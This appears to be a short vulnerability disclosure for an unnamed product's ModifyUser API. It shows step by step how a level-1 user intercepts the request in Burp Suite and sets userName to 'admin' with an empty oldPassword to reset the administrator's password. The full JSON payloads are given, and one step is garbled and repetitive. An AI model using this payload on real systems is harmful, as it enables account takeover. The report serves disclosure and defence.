1. Reporting information

2. Overview of Vulnerabilities

3. Details

  1. Log in as a user with level 1 privileges.
  2. Intercept a ModifyUser request using a proxy tool such as Burp Suite.
[
  {
    "cmd": "ModifyUser",
    "action": 0,
    "param": {
      "User": {
        "userName": "1234",
        "newPassword": "1111Qwer!",
        "oldPassword": ""
      }
    }
  }
]

By intercepting the request, you can check the following request values.

At this time, modify the above value to the ID value of another user except for the ID of your account as follows.

(In order to change the password of your account, the value of oldPassword is required.)

[
  {
    "cmd": "ModifyUser",
    "action": 0,
    "param": {
      "User": {
        "userName": "admin",
        "newPassword": "4444Qwer!",
        "oldPassword": ""
      }
    }
  }
]
  1. Forward the modified request to the server.
  2. Verify that the password is changed normally.
  3. Verify that password has changed to the password to verify that password has changed to the password.
[
  {
    "cmd": "ModifyUser",
    "action": 0,
    "param": {
      "User": {
        "userName": "admin",
        "newPassword": "4444Qwer!",
        "oldPassword": ""
      }
    }
  }
]

mod.mov